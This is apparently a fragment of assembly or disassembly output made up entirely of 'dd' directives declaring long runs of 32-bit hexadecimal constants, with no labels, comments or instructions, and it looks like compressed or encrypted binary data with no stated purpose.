dd 0FD3DD3B1h, 62A91C37h, 0CFD0F2B7h, 0AD9D2909h, 8B77AF0Ch
dd 44D844F7h, 0B5168BDBh, 0D29D10F5h, 9AF0EF66h, 8002BFA8h
dd 9CDBBEDAh, 1124975Bh, 0B7BB8017h, 480F1231h, 60879B8Bh
dd 0A60D8CE8h, 9A207C00h, 98AEC347h, 745B012Dh, 8FB14B5Ah
dd 0D1B7059h, 2B61CBC2h, 70F3F3C3h, 69B66034h, 0B30A0F10h
dd 0B9A61E8h, 2465261Dh, 18483011h, 1A315910h, 0ED174EE9h
dd 5EF2C25Dh, 5D028484h, 0C0D3F75Dh, 9F129Bh, 0BE97E67Eh
dd 0E705810Eh, 76C9462Fh
dd 577924B5h, 0E200ECB8h, 534FE57Fh, 5CED646Bh, 612A4139h
dd 8050999Ch, 66030DC4h, 371D2D5Ch, 0C7895812h, 13E7285h
dd 52B1F113h, 3C359D89h, 0B7EE6B1Dh, 327F007Bh, 0BA61ADA4h
dd 2B135117h, 0B8859113h, 29C931A7h, 16278704h, 6A2A329Dh
dd 64210276h, 40AFDA73h, 0B32F54E6h, 0BF0F0582h, 5B04B7F0h
dd 0D7017D6Ah, 94416B5Eh, 81C041ACh, 10606221h, 90241105h
dd 0F802DE1Dh, 0B9C6DD09h, 492D602Fh, 0C646822Bh, 0AE7D6400h
dd 50B333F2h, 9E1500FCh, 96288D70h, 0B0980D08h, 4B2A3D20h
dd 89D5DB5Eh, 9DE385E7h, 0BCEBCC55h, 233797E6h, 7B0FD91Eh
dd 74EAC266h, 0E2E84D0Bh, 27C65359h, 4C75C700h, 4663320Ch
dd 2EC40020h, 170830E4h, 0A2123353h, 3A3A4365h, 6E1F1423h
dd 3F38EF01h, 1C311767h, 36053E40h, 10D75AE9h, 1CE885EEh
dd 60728Ch, 9EFAA4D1h, 8B545A0Fh, 4FFDC15Ch, 3ADBC835h
dd 0BE3A8480h, 47299F26h, 1AD1F173h, 0C43A7818h, 0B9DF0046h
dd 2A08BF26h, 35165AFBh, 0FEBA05DCh, 0F7AE250h, 0C082B24Fh
dd 161755CCh, 0ED2E00BFh, 5EB3012Bh, 0A760876Fh, 6E49B8FCh
dd 0BA2901C4h, 9A6F016h, 4948961h, 7071D324h, 20018B03h
dd 0E387BBD3h, 0E020463Bh, 1240945Dh, 0F0EAA66Ah, 1CBC494Eh
dd 0CA84F5h, 0BF1DAFECh, 8E12EB83h, 50E66A70h, 0D38833F0h
dd 8BE54300h, 0DE7EAC52h, 35B51631h, 4D2FD11Dh, 81660043h
dd 9CB62DD6h, 98B7348Bh, 5BBB8700h, 9C0868Ah, 0D11EA202h
dd 9612987h, 0EEAD79C9h, 5745306h, 5EF956DFh, 0C9778090h
dd 50773444h, 0DC9594h, 0A188E149h, 1F8B1B0h, 0D059D14h
dd 0DD2394CFh, 33DB7300h, 5BD74Ah, 66F1A996h, 0F40401E2h
dd 0B3FD4C2Ch, 4877BE00h, 9F5F3876h, 6202F0BDh, 0A0D9B589h
dd 26BF6681h, 0D5BA9FD4h, 19C4B345h, 6F81460h, 0A9519014h
dd 0B8DD26ACh, 0F5B119ADh, 0FF022A28h, 0F08B66D3h, 0CDA05AD9h
dd 0BE80BDBCh, 5B8B5855h, 0B6AF7EE9h, 43575865h, 0D482BC84h
dd 7252E916h, 362159CFh, 177186A1h, 9C1FA818h, 0E6C04D56h
dd 3AA6BFBDh, 659D2A8Bh, 29C1898Ah, 4E31A305h, 0D90D3282h
dd 282B631h, 0BC708BBBh, 0DF20E1F3h, 0B6407ABDh, 4F1C4436h
dd 2331A989h, 4F63E9C1h, 79B2C817h, 275BB600h, 0F8E7D7A6h
dd 6BBA17E3h, 52C11ACDh, 509307D1h, 1FF588h, 0BE7388D3h
dd 5E9A1BB2h, 109F34FCh, 0A46BD75Ah, 0BEEE8422h, 5A00DCF1h
dd 3CEB2D28h, 12B3F12Ch, 10FC254Eh, 8E4ABA3Eh, 0C01BC8C9h
dd 3D7E7D34h, 35D65706h, 5B5489ACh, 6F2E7522h, 8BFB02C6h
dd 292825B5h, 531148F3h, 0B5D8604Fh, 7283113Dh, 9031408Ch
dd 2DD56058h, 7910C2DBh, 0B508B1D0h, 610C9F1Ah, 0B78B29FEh
dd 9F6F9012h, 0B4EF9E0Fh, 4799F7C0h, 0E9517254h, 6E888422h
dd 2F86B0DBh, 0E62B40B0h, 646E705Ah, 71E40F02h, 0D7AB503h
dd 0A86B139Dh, 0B506BAF3h, 0CC96E63Dh, 0D8F1ED09h, 0CE813A5Bh
dd 678913A7h, 0FFC03CCDh, 9E55012h, 0A9B52BFAh, 65C7F629h
dd 6D6214C4h, 4270996Ah, 0B84FD704h, 0A2F97C13h, 1326E4Ah
dd 0E2B9E30Dh, 0CB20F98Ah, 52145A7Eh, 0A02EE7B5h, 9893449h
dd 0D7130203h, 0B1955A04h, 0D90C9CD6h, 98DFCE27h, 0B0F6380Ch
dd 81AF9B5Bh, 18B0D299h, 50763221h, 207DAEE0h, 0DDAB9524h
dd 98B7C609h, 8D1182h, 0E145DFBFh, 291B37ACh, 1089732Fh
dd 304BBAh, 0DC748509h, 0B156B805h, 0DF142C02h, 429025C0h
dd 0C04CED60h, 0DD58BF6h, 5B188A3Ch, 0C2322449h, 0C4F3EDEEh
dd 2A9E950Ch, 103809Ch, 0B52ED1BDh, 0E0B78B2Bh, 29FFAC09h
dd 0C0DA6DB7h, 0BC6FCD7Eh, 0FB01A305h, 0F3B2FCAAh, 9B283800h
dd 7EA68CCEh, 0BCB6101Eh, 4BCB5584h, 5781C895h, 0E2690129h
dd 0C6050148h, 0E9587391h, 5B93B87Eh, 5D07480Ch, 2FD37A5h
dd 8A0F90AAh, 0C785F1D9h, 17B68E58h, 0FC301CA2h, 0E368010Fh
dd 0B196F32Ah, 9500306Ch, 19161D5Bh, 5BFD1393h, 9BA6E37h
dd 0A983E58Bh, 4F15785Dh, 3006C92Ah, 0EE16E820h, 34C97668h
dd 8ECB2EF6h, 6DF52D91h, 0AFA6D335h, 0FA9977A0h, 75DF312Eh
dd 0F396900h, 95419589h, 0A65B4384h, 91A2E07Dh, 0B913168Ch
dd 0C81CCEB2h, 5EEDC117h, 0FDBEAE1h, 0F90C0611h, 8B0D38E9h
dd 0DE9BC04Fh, 32F93880h, 9BEC226Eh, 0CAA05171h, 5F810B61h
dd 4FBD4720h, 0BFD8D021h, 0F4B41B47h, 0D589239Fh, 0B5E49330h
dd 0E312E656h, 1273DFA4h, 5557C9Dh, 0A30FB1AAh, 69DA4AC6h
dd 7B367680h, 0A904EA33h, 0AE97C1Dh, 0F15EBD40h, 2A059F8Dh
dd 0ED694517h, 51C9CFA3h, 0E602D4Fh, 92192322h, 0D8E91673h
dd 4BEE9DB6h, 0C018881Ah, 6BF2F669h, 0DD95C551h, 7E756E15h
dd 3168A381h, 0C9409366h, 0A6E4C4Ah, 0B428939h, 0E4E58CBEh
dd 60EB02F7h, 0A07A079Ah, 0AD2047F0h, 48B8051Dh, 826B3CCBh
dd 5B898E24h, 9BF9C085h, 74AC99Dh, 0B8F06C3Ah, 4EC07292h
dd 63C7C860h, 0F59E801Ch, 0EFF15080h, 0EA8D89A1h, 2973A033h
dd 256158C8h, 2CC2D52Fh, 0F8017B7h, 173B728Fh, 15AA246Ch
dd 33C1BB52h, 0C79D00D5h, 8DF4534Ah, 90DF0164h, 4F942D0h
dd 66BECD2Ch, 0F983F041h, 320065Bh, 7C9E09CBh, 0AC5D2EE3h
dd 6C0D698Bh, 57BC7Dh, 0C0219A82h, 49014357h, 3C4A769Fh
dd 0F270111Dh, 3BF42547h, 2D201B50h, 95F0606h, 0D92FA98Dh
dd 0FFF8711Ch, 0DBD2944h, 852C54B9h, 0E8BE40D5h, 4148A5BBh
dd 0CFB6C09Fh, 0F294B748h, 1718054Ah, 0E9C18B23h, 0B2B833h
dd 0B4787401h, 0F9BF0F53h, 41BE5E00h, 0EB408280h, 7EEE9604h
dd 5F1F1846h, 0DA340098h, 25B50B50h, 36F92C9Ah, 5D5FF0B5h
dd 0BEC602FBh, 775444DFh, 9A6F2D1h, 121F8108h, 0CB90550h
dd 0F0D4A11Ch, 4C0FDBEFh, 0F4601597h, 20F510CCh, 11445A2Dh
dd 2116200h, 9646F189h, 169576AEh, 0A65DB842h, 0E0854FF1h
dd 69857D08h, 38816FB7h, 2DCF4174h, 0D898BB78h, 0FE484CD7h
dd 0BF92D43h, 81F637A6h, 699D89B9h, 8B900028h, 0DE0797FEh
dd 0B52370F8h, 62A23541h, 490D4556h, 203F0E9Eh, 0E1970F72h
dd 0B36C0E01h, 2CA9B589h, 0A6895F02h, 4779676Ah, 112861AFh
dd 618D4107h, 0D22C6914h, 1723183Ah, 3067C603h, 0F6AC1215h
dd 5AEFA812h, 0FA026E6Eh, 0E5F1A6E9h, 6F0C6AE0h, 4FC92549h
dd 74CD6813h, 34A202Ah, 0AB008D45h, 0C47B21B7h, 1DA1EA9Bh
dd 583B4782h, 0ACD79A60h, 0A4A81E54h, 5E611B02h, 0D10901E9h
dd 4CE1628Ah, 0D4A37412h, 0F61DAB02h, 8259FB0Eh, 7C1CB9F7h
dd 0D59D9ECh, 12656A3Ah, 231C49FAh, 185D9D84h, 15B238E3h
dd 5C9DA30h, 35F63BBEh, 48A9A346h, 418A7085h, 0AC69F84Eh
dd 0F5059C22h, 4B2FBD83h, 5D228EA2h, 1BC44785h, 0E6379160h
dd 97424E04h, 0DFCD07Ah, 8478E480h, 77FAA5AFh, 0FD928502h
dd 0F466E94Eh, 0F900F6C2h, 625019EFh, 2EDA5F2Ch, 34CA7073h
dd 24CFF3D4h, 3017538Bh, 1888B5CFh, 0CC7356C0h, 3186527Ch
dd 0CE818870h, 9C80C609h, 0EBD0082Ah, 706CD34Bh, 2B4F48A3h
dd 554DE68Eh, 770BD8BCh, 42D5383Ch, 0EBB54DB6h, 0B02C3BB0h
dd 0CEFED24Ch, 0A557E036h, 0F2134Fh, 97F6F4A6h, 0C430D0CEh
dd 0F9163E75h, 0F48835F8h, 0F9379186h, 138A1817h, 881248C4h
dd 0CA008E79h, 78F52872h, 4945ACFh, 698A042Fh, 4AA3B744h
dd 801776Ah, 0FB4D6C4h, 41503410h, 40B8A968h, 0DE77EA00h
dd 25E4D9h, 844AEECCh
dd 0E53AFBF1h, 80E990BFh, 34792E65h, 0A6AF2617h, 0EC10884h
dd 9932E91Fh, 0E51980E8h, 1CA1C94Ah, 2EB05F27h, 903B6068h
dd 0B40E833Ch, 0A2480B5Ah, 0F470E620h, 0E313DC6Ah, 91C571E4h
dd 3EF0081h, 8981953Ch, 3C1041BDh, 8C18FC79h, 0B11ADB01h
dd 8E0FCA28h, 60607142h, 9E61D652h, 0DF810087h, 1A015C54h
dd 0DA211EB6h, 25181DD1h, 38AAF100h, 779FD083h, 0D5CF5F7Dh
dd 0C078DB40h, 940A6609h, 6B72165Fh, 0F44CDFCh, 67ACC028h
dd 12B19506h, 0B05F5851h, 0F94BCA00h, 11058A35h, 1FB21059h
dd 90C8087h, 0E6B09BCEh, 3244520h, 2EAC67BEh, 0B685B070h
dd 0A0DFE097h, 390C2EE9h, 2A9D0B4Bh, 830F6CC8h, 0A5116E95h
dd 6016C40Bh, 55CB780h, 5F51C4BEh, 73F7A409h, 2DB53188h
dd 46442599h, 0E1BD0912h, 0ECED5D84h, 28C14A8h, 53BE664Fh
dd 0A790E82Ch, 0E50027B0h, 7134F1A7h, 5FFCB59h, 0B509F525h
dd 0FC0FD5B1h, 846E4BF7h, 0FAB00E7Dh, 0E3F35D12h, 885276BCh
dd 0F55F12A8h, 11B08857h, 4CA6BC17h, 0A5BFAD12h, 98E8D8FFh
dd 58B7095Bh, 2729A53h, 0F91065B4h, 0E7A2A7B6h, 0FBFE01AEh
dd 40A400F4h, 0D9059FAEh, 9A9936F1h, 21804C80h, 3E4A45EEh
dd 10803DA9h, 0D791AF70h, 5159BD8Bh, 0F5F00A5h, 0DE81F3B7h
dd 56B9162Fh, 8805C94Dh, 27151DB2h, 0E06DE38Bh, 0A2E360C0h
dd 0BCB91275h, 89BB0BC5h, 0F75B89F2h, 86280D4Ah, 0F5BD3382h
dd 2DECD12Bh, 5C0D5EDh, 3889A4DCh, 68417D9Dh, 2BE18D0Ah
dd 71E06C76h, 0DA28D632h, 0F8049234h, 22159D29h, 7CD961FDh
dd 4D5B12B9h, 0B37FE069h, 0BA3BEEFCh, 0BC7DDD2Bh, 0E8012D1Bh
dd 0C8399F68h, 13007AE0h, 0A345114Fh, 25B57158h, 5C41503Fh
dd 1CDBC65Eh, 0E8F4917h, 60C01688h, 4AE9869Bh, 2167B37h
dd 5388B34Bh, 7D4C40B2h, 0A607B626h, 82260DDh, 0EE024B19h
dd 411CC24Fh, 0B938DA27h, 9A58259Ch, 0AAF98000h, 0BD436BF0h
dd 4AC7EEDCh, 57F0D085h, 1E0468D5h, 959D0150h, 0A34A2CE2h
dd 3119A235h, 75DCF4A9h, 0CD3ED32Ch, 0FF04CA96h, 610B1E65h
dd 5F9A3967h, 0DECAF60Ah, 4DB3FE02h, 566EF121h, 0A35E69D6h
dd 8D09A968h, 6B35F908h, 0D41724Dh, 29F03FCAh, 0C5EC0B76h
dd 0B9716AC2h, 64B16549h, 0E00E631Ch, 9A09BCAh, 8892B95h
dd 284B31F8h, 8D82DFA2h, 900115B1h, 498012E9h, 6D471474h
dd 97003099h, 6E28F558h, 9AC05D8h, 0C4B4955Bh, 0F66042E2h
dd 0F802A65h, 0CD0B4B8Ch, 5696D70h, 4125E781h, 0FFB8B1ADh
dd 550174FEh, 23F145EFh, 842A85BDh, 0E2AAE6CCh, 0BD37558Bh
dd 0E2502B0Fh, 0E93ABF66h, 9017053Eh, 22C31965h, 2DB5B5A0h
dd 50F0B283h, 0FB8BAA5Ch, 3D3B7019h, 2A0F200h, 0B2E211C2h
dd 4DC60581h, 0AD4CAB9Bh, 13CB8FFh, 1FD6B180h, 298EBCECh
dd 27BBB8D9h, 4FE277E9h, 6BE0116Dh, 1235E70Ah, 5600E03h
dd 0C289D029h, 305F0DB7h, 166B1245h, 0B1671BA5h, 134F5EBh
dd 23830AE8h, 1416E03h, 0CD3A93E8h, 0BFED7328h, 0A0E83544h
dd 0BF9815Fh, 22BB1079h, 8B07DF73h, 0EFE1AEF2h, 5B200299h
dd 0AB4C1DB7h, 0FBC78015h, 5E7D5666h, 37605F27h, 0D04C3F86h
dd 8FB0296h, 0AE70B941h, 0F78F26E5h, 65DDCE70h, 68450234h
dd 185D8D21h, 0DB604B6Fh, 382373h, 79B713E2h, 858BBC76h
dd 6657CD60h, 0CA23EAB8h, 0A5D4A56Ah, 23C6AECDh, 5492058h
dd 0C295FBECh, 8841D243h, 49952965h, 8309FAB1h, 0F88901E1h
dd 0A1D4CB33h, 4BA1DAD0h, 45870F57h, 8F0CBDC0h, 27BC9251h
dd 35A95EA8h, 4D3BA725h, 3290C067h, 37002ABFh, 8B340EB9h
dd 0CD6061C6h, 4DAD2DB8h, 0B8232903h, 0ADE19527h, 0CE04042Fh
dd 82102EF1h, 49900222h, 1EE91CD2h, 9D49B650h, 2D1AEE28h
dd 8B83ED37h, 0FBEB1428h, 0C739A0F7h, 87D7A50Ah, 98199D0Bh
dd 7A7B8C4Dh, 746E0A2Fh, 0C91336Fh, 1D958B04h, 0C5BD422Ah
dd 27BC080Eh, 9EC02FCDh, 14BA49A4h, 0D8DCC780h, 7D8523C7h
dd 0C5AE01C5h, 0B74E670Ch, 5C944BDh, 6AE81669h, 62943E25h
dd 2DB55601h, 4F2ACFCAh, 0B72B200Bh, 5AD56A08h, 0EBA92984h
dd 4B4BBE51h, 6D8C7FDBh, 29419950h, 0E2C5B4CFh, 5523E972h
dd 1BEC5BDh, 28FB8F8Eh, 89EABAE4h, 0DC74DEF6h, 0F3106102h
dd 49DCF414h, 0ED1D24D3h, 490BC59Dh, 418875FBh, 4202F53Ch
dd 5B50890Ch, 0DC6AB6h, 7BE11A6Bh, 7A298084h, 2358B55h
dd 2E19DEDBh, 0B23738A7h, 68DD2381h, 1D2AF9E1h, 62A50B0h
dd 69B53158h, 6957FBC7h, 2C098541h, 8B0EE15Ch, 4A14422h
dd 398D8951h, 0CC5E0A08h, 939372Fh, 7271491Bh, 90BFB803h
dd 266002F0h, 85C7FD23h, 0C4AB0D5Bh, 59FC6678h, 57BCF261h
dd 7BE4C704h, 39C1EBB9h, 7E6FE99Dh, 0DB7807B5h, 0A2F99509h
dd 5D30B263h, 70002537h, 80FB67C7h, 922628C6h, 0BAC128D5h
dd 0F0110DC7h, 2031EA81h, 144CC209h, 414D3F21h, 8D93FFE7h
dd 0FE5AA185h, 286450E4h, 0EE7035FFh, 0BE97B289h, 2B58C194h
dd 0F01A92C2h, 8166A000h, 905A4D38h, 0D812451Bh, 3C0750B7h
dd 3A81D003h, 5C194566h, 2D8EF484h, 0E924100Bh, 0C8C788D9h
dd 0A9204890h, 40031914h, 88064F3Ch, 1E18B5C2h, 12627D8Bh
dd 503085Dh, 1C5B61F8h, 9BD1030Ch, 0DB4D2233h, 51121008h
dd 8F640A24h, 83056D05h, 2FD804C4h, 0A7BB88Bh, 0B0A98110h
dd 59B53014h, 0C306C033h, 3135BD83h, 24E1C850h, 6585C684h
dd 47003BBCh, 9AA7D268h, 0B516FFD4h, 0DAF42095h, 0FDA33BDDh
dd 6D0487Ch, 13820868h, 0D3F7211Dh, 0AC6E2B60h, 54B8A300h
dd 0AF433DD2h, 0B356AA01h, 30BD8D2Bh, 728C0F01h, 0CAB5052Ah
dd 0E901C08Bh, 0F88AB3F1h, 2ACDDE88h, 1209758Ch, 74184499h
dd 53501918h, 4F38B838h, 0C9E7E404h, 249D71A0h, 15FCE220h
dd 22585BD3h, 20211788h, 32DF13E2h, 76CE9941h, 1D4DF0E2h
dd 13CC0638h, 0BA0E4BF9h, 0E8DF8197h, 7A6F0827h, 0DD670616h
dd 4EBE15C4h, 0BF2590F1h, 0EAD0E8C8h, 0EE592E6Dh, 5DE4AA4h
dd 0F6B0D04Eh, 0CC5B043Bh, 0A097F707h, 0CF0BD4Fh, 0F5EE6784h
dd 165CB1A0h, 0C2EC815h, 296799E8h, 65D9D2Fh, 4E30F999h
dd 0BF46C491h, 200066Eh, 65EF7550h, 65D767E8h, 249EC6C8h
dd 9A39CCh, 287DE6B4h, 9F1BDC26h, 0CE7C7AA3h, 1B7BDADh
dd 0BC60FD00h, 17A888A2h, 0A0115E5Dh, 222FE8B0h, 41604F07h
dd 0F0D77DCFh, 0CE628B66h, 0E40D31A8h, 0FC0445D7h, 1217CFB9h
dd 0D556EBE8h, 0ADE071A6h, 3900072Fh, 81B4D78Dh, 31B830DEh
dd 157A684Ah, 88DE6A25h, 2B0FC80h, 68484932h, 0E8F20466h
dd 7AFF0694h, 2D0F020Ch, 403DFC38h, 9857ED23h, 26F77C38h
dd 90FE5951h, 0E0804B2Eh, 0B85416EEh, 46A19D43h, 8952E861h
dd 25D98085h, 6D942D43h, 626EFAh, 67AE58CAh, 2C16DAE8h
dd 8141A44h, 0A03034A1h, 0C8F3C360h, 0B82147Ch, 0E40F2DB5h
dd 826D77A2h, 0F02A66C0h, 0FEE84D16h, 0D6813047h, 3C2D17B1h
dd 21492C8Bh, 8CC5DC49h, 2FE7E8BBh, 26F1658Bh, 5BF5A1EDh
dd 0FDECC00Ch, 2CD2C38h, 0E8FC9745h, 7F7305B7h, 45E0D0h
dd 2C067C4Ch, 8D237703h, 8025A529h, 1F243D08h, 33E12429h
dd 754E7DD5h, 0BB8036DBh, 1E06C55h, 21A59514h, 9992536h
dd 72FA5BC7h, 8AA0F8FCh, 0A0502D57h, 6609B3FAh, 0F5719436h
dd 0C03A4D9Fh, 0BD501A18h, 0C1DF1B01h, 89733AD1h, 22405E1h
dd 4D82BE8h, 0BB64D8DFh
dd 87C84602h, 4BA92866h, 9BB34A30h, 7CE581B7h, 9B2EB0E9h
dd 1F95C7B8h, 0C4CB1F2Eh, 0EA3709B9h, 844DF40Dh, 0AC26EDBDh
dd 0F2BDA4CEh, 6E21C0A9h, 0D276971Ch, 0DD1CAC2h, 4BD953h
dd 37AE68F4h, 8B255FDDh, 0E164C3h, 60DEAC32h, 584BE357h
dd 0A7D64900h, 0FA8B5628h, 0BAA5E35Eh, 0B4542B6Ah, 9509B12Ch
dd 2B4592Dh, 611B509h, 71D4D312h, 0B94B30F2h, 1A977E92h
dd 60794D19h, 8A3637E1h, 509F1305h, 11BDC688h, 128C15ACh
dd 0A65B2A17h, 7FDBE017h, 4CB371E4h, 0A30597D0h, 9598656h
dd 58E25DA5h, 0DA408FFCh, 29A2CCFh, 0B999442Bh, 38561A89h
dd 88151DDCh, 0ACF41295h, 49E89328h, 4F0A21F7h, 0AF6BE8AEh
dd 0AA95A190h, 420B4096h, 80EAB704h, 0C8DB0A67h, 0A262B102h
dd 7B171DF2h, 8DB1D037h, 3803DF07h, 0B9301FC2h, 518A1691h
dd 0DB2B9410h, 94C98074h, 188E68D4h, 0F15F526Bh, 0B95A8529h
dd 0F1952990h, 0F491BE15h, 80F75500h, 7BB00BE2h, 1B35DE5h
dd 0BA0DB41Ah, 41E0344Dh, 1E388FB5h, 46E1502Eh, 0B53D9D09h
dd 0F9BDDFA0h, 5FD4B7DAh, 0F282C037h, 40B59AFEh, 0A416350Bh
dd 80F97089h, 1AFCAFB1h, 277834B3h, 4152039Eh, 1E13B966h
dd 8DA6AB4Eh, 2A0FD0E1h, 5327670Ah, 9F102039h, 0DCD39482h
dd 1A177A54h, 8DE0E0F6h, 48314A5Ah, 2C696AA8h, 810BB05Dh
dd 80C11688h, 0AC886355h, 3E280E9Dh, 690D194Dh, 0C3DB4DAAh
dd 67A85C5Ah, 0CD2A9529h, 0B5E65418h, 9226DD29h, 0A1213D08h
dd 276D278Eh, 0FB675C0h, 94A70202h, 1EB1D83Ah, 5417EC82h
dd 50F65B1Ah, 2371CCE8h, 0CF5C2803h, 32F7B41Eh, 75BEF1ACh
dd 0B7B79050h, 0C09F1C52h, 0EACF0818h, 5C146FEDh, 5B82FE8Bh
dd 0DE15DB6h, 801FE461h, 0A1937A2Ch, 0C257FD11h, 83BED2E0h
dd 0F1803E01h, 0DDBD032Dh, 0A809933Ah, 0E8972B4Dh, 0A4310191h
dd 21CB5B5Ah, 89207AC7h, 92068Ah, 2DB2D020h, 624516BDh
dd 892F8F0Fh, 93E50A4h, 0C11F527Bh, 67CE884Bh, 2E3F8090h
dd 0C21D83CDh, 5EA89D52h, 4DE6E24h, 0C19834Fh, 0E10144FFh
dd 0EF041320h, 0B9002259h, 250557A2h, 0F99BC34Ah, 0BE664080h
dd 8A0BBCE9h, 7E830FC5h, 0EA0EC4E5h, 1C23233Fh, 472C0A00h
dd 12C935B5h, 0B23E269Ah, 7BF74EFBh, 2E029400h, 6ACA961Ah
dd 0ECB80B05h, 0E5A25A87h, 0DAC40C00h, 8F5453AAh, 0CFD6E101h
dd 6D8E72E8h, 16EE59F0h, 9E5FEBEDh, 15818477h, 84D6F827h
dd 0DF2C2320h, 0B5096000h, 0B5FA1C91h, 0A7F92E4Ch, 9392723Ah
dd 3910781Bh, 48B5D000h, 66AB969Dh, 0F3E0D634h, 0B02D46EAh
dd 1E6D7EFh, 21A87CEEh, 99626D86h, 90CB41ECh, 74DF4F30h
dd 0BFBB1E50h, 29CD6D49h, 63486BC0h, 1FA40114h, 0BAD566AAh
dd 80E22860h, 0EE180B0Ah, 0CC8700BEh, 0C41E5F50h, 0F472801Ch
dd 8A30B1A3h, 3DC388F9h, 0D5A7A261h, 83816F37h, 94B31768h
dd 0DE6540A4h, 7046330Ch, 50DA92C5h, 170BC7D8h, 0E607FE68h
dd 0C1C8E003h, 6DCD09E4h, 21108E0Fh, 11209D03h, 6F08BD25h
dd 0B308D658h, 579E85Ch, 0B850A280h, 246E4A4Ah, 0A2D01912h
dd 756A000Fh, 9BBE9AF1h, 16E30B34h, 23EA820Fh, 0FD01E251h
dd 0AE8FFB44h, 89607682h, 0E1744D9Dh, 52F12FBBh, 0BD20D270h
dd 0E0A5B8DCh, 0F7CE9771h, 0E658A093h, 127BE38Dh, 0F00FB6C0h
dd 17D52E2h, 3387417Ch, 12AC9BDh, 0F363D1FFh, 64301AA2h
dd 0E62A000Ch, 0BBDB9C9Bh, 932D3707h, 0DAC50009h, 0BB9051Fh
dd 2DCE827Bh, 0ED16C154h, 1BA8FFC4h, 0CEFB579h, 34B88360h
dd 8A0B05AEh, 0B6026ADDh, 350FE05Bh, 0CD053E9Bh, 318882DAh
dd 900EF20Ah, 8950CE8Ah, 0D97E0B29h, 1CAD3899h, 9F002A3Dh
dd 29AB71B6h, 0B6C95D8Dh, 0D42E90Bh, 156234F1h, 233DD768h
dd 64C98039h, 1A2F4A9Bh, 0DB88495Dh, 0B17062BCh, 0BD238D09h
dd 816F4035h, 1DF409EFh, 3B8151C9h, 3BFDB959h, 6979E130h
dd 0E0D213A9h, 6EDE4790h, 0BD8B6186h, 4C47A595h, 2E29F26h
dd 3195EBD0h, 257EF82Ch, 366FFAEDh, 3059DB2Fh, 0F5FF6A87h
dd 16F1B521h, 1AE2D123h, 701C930h, 19A06FA1h, 0A5856133h
dd 1016220Ch, 0E9122875h, 3394E2F2h, 85B0FF39h, 0E6DA2980h
dd 311AC470h, 71E40508h, 0D5304BBDh, 8AD3803Bh, 0C818B6F2h
dd 153097B3h, 0CB7CB407h, 8340925Eh, 4625EFCh, 5F26FD7Ah
dd 0F3CF8014h, 5B0B70D4h, 42F8C18Bh, 537F344h, 0A19BB1BFh
dd 33C96B48h, 0C283D8h, 769463C8h, 538FD6A1h, 2B8DAB1Eh
dd 5DAB8CF5h, 0BFD180BBh, 72E9B7BBh, 0FB750F74h, 0D891C6A4h
dd 0D1C6E80h, 18160E6Bh, 4641B950h, 85892E19h, 0BF02E83Dh
dd 7B71BEAAh, 416A3EC2h, 45A517A4h, 9610D03Bh, 0DE766557h
dd 0FB99ADACh, 337CC2E2h, 0D16B8269h, 62695E2Bh, 22931D84h
dd 1880A5E2h, 6E380FEh, 3626895Ah, 17C3125Ah, 4FAE235h
dd 197B58Dh, 0A134DD84h, 0AADB40EAh, 52B746C0h, 2B172079h
dd 4BE66ABAh, 99A94EF0h, 0EB05747Fh, 7BC5D32Ah, 0FCD2F8A8h
dd 17D03C57h, 8D918D01h, 202AB961h, 1495B5D4h, 0FC5082A4h
dd 141B9ACh, 51DD29DDh, 0C02B2189h, 7A46E40Eh, 6D9D89BAh
dd 43EE590h, 51501A3h, 0A1888C0Fh, 0B1160E9h, 0DBA75CDh
dd 2F4D2901h, 570A3BA7h, 1099DD8h, 0AD9ED988h, 80D1C233h
dd 0E983D07Eh, 9FF47504h, 3985B7h, 58B09276h, 308370F4h
dd 0AAF03AC8h, 532FB72Ch, 4D974A0Dh, 3128E016h, 0A712459Dh
dd 3CC86D11h, 7A8D005Ah, 4228F91Eh, 0D50053E1h, 16744705h
dd 2DF815AEh, 56F8B621h, 4D953E9Ah, 0DB3FC205h, 16121057h
dd 0A7F50BF1h, 7F0BC9C1h, 0E9070D2h, 79AD8D2Ch, 0C2DE509Dh
dd 0C1031846h, 0ACD2FF08h, 955819B9h, 86F0C493h, 0D87C6B27h
dd 98E8F500h, 7ACDCB57h, 5DB7B55Eh, 5ACAE600h, 26DF06C1h
dd 20E22582h, 20D7B061h, 0E97D0A6Dh, 755217C7h, 43C5CF70h
dd 68410077h, 61C03B55h, 46B89397h, 0E42A2925h, 2751E3C4h
dd 0B8030E09h, 0C0045684h, 5DB94F66h, 9B0B5AE8h, 0A04527D0h
dd 0E24DE890h, 0A49D5A33h, 0FF256144h, 705DFBE1h, 0FA997255h
dd 0CFA5D780h, 12AFA1C1h, 1EDD80B8h, 6905A539h, 8AE1F95Fh
dd 1DC2A58Fh, 8910807h, 0EE6E2BD9h, 99BD1204h, 353840BCh
dd 33181F6h, 814D932Ah, 5BBB207Ah, 0B00F4251h, 0A0E395A8h
dd 72B95345h, 224A9035h, 4B8411A1h, 8AA90140h, 1084CA50h
dd 860F0308h, 0AE48B463h, 0D6601049h, 940BDC7Ch, 0D85EABAEh
dd 0DC5DBCBCh, 76EDBB04h, 0B1803C88h, 8221B19Dh, 13404FF6h
dd 185884h, 0C8902775h, 209670A1h, 3298F434h, 2C5B7EF4h
dd 2DCE180h, 0C90AD9B7h, 0F8A18885h, 0FEB64E14h, 5C002E2h
dd 0DE8201E5h, 0F0AD400Dh, 8A007314h, 5C3D758Eh, 612EC1B2h
dd 0C51A28DFh, 45D661A0h, 0F87BA4C0h, 0E1253379h, 0F45A5415h
dd 65B9EC00h, 744A3E28h, 41952E01h, 5390828Eh, 0F9465250h
dd 0E05BB900h, 0A69284FDh, 0A9990214h, 0E15873A2h, 50318E80h
dd 0CFF15A5Bh, 0EA6090AAh, 6A5F9C4Ah, 61C0759Bh, 90FA3ED8h
dd 810FA512h, 8564C027h, 0FAF630BEh, 7312E568h, 60AF38FEh
dd 17227A3Dh, 45C40D01h, 0DA5571F8h, 48DB07CCh, 895F5F57h
dd 0ADC0BCCBh, 60EA6482h, 3481CCFBh, 70191A24h, 0DA6E38E1h
dd 3FCDDC4Ch, 0CF87B17Ch, 0E664826Ch, 480256CAh, 6D3610FEh
dd 9A507052h, 0D3379729h, 0DA48FC00h, 24126DF6h, 8B673E6h
dd 53B1021h, 0FDEB9685h
dd 30F00DA6h, 0D7010B17h, 89CFAB2h, 0DE478843h, 0FCE93430h
dd 0BBEFB701h, 0B5F1D640h, 6AF704BFh, 0C0F95A96h, 0AFEADBCEh
dd 8E6B6890h, 0E0ADEDBAh, 0D3AC9D2Eh, 0E70B870Bh, 0C9AA822Ch
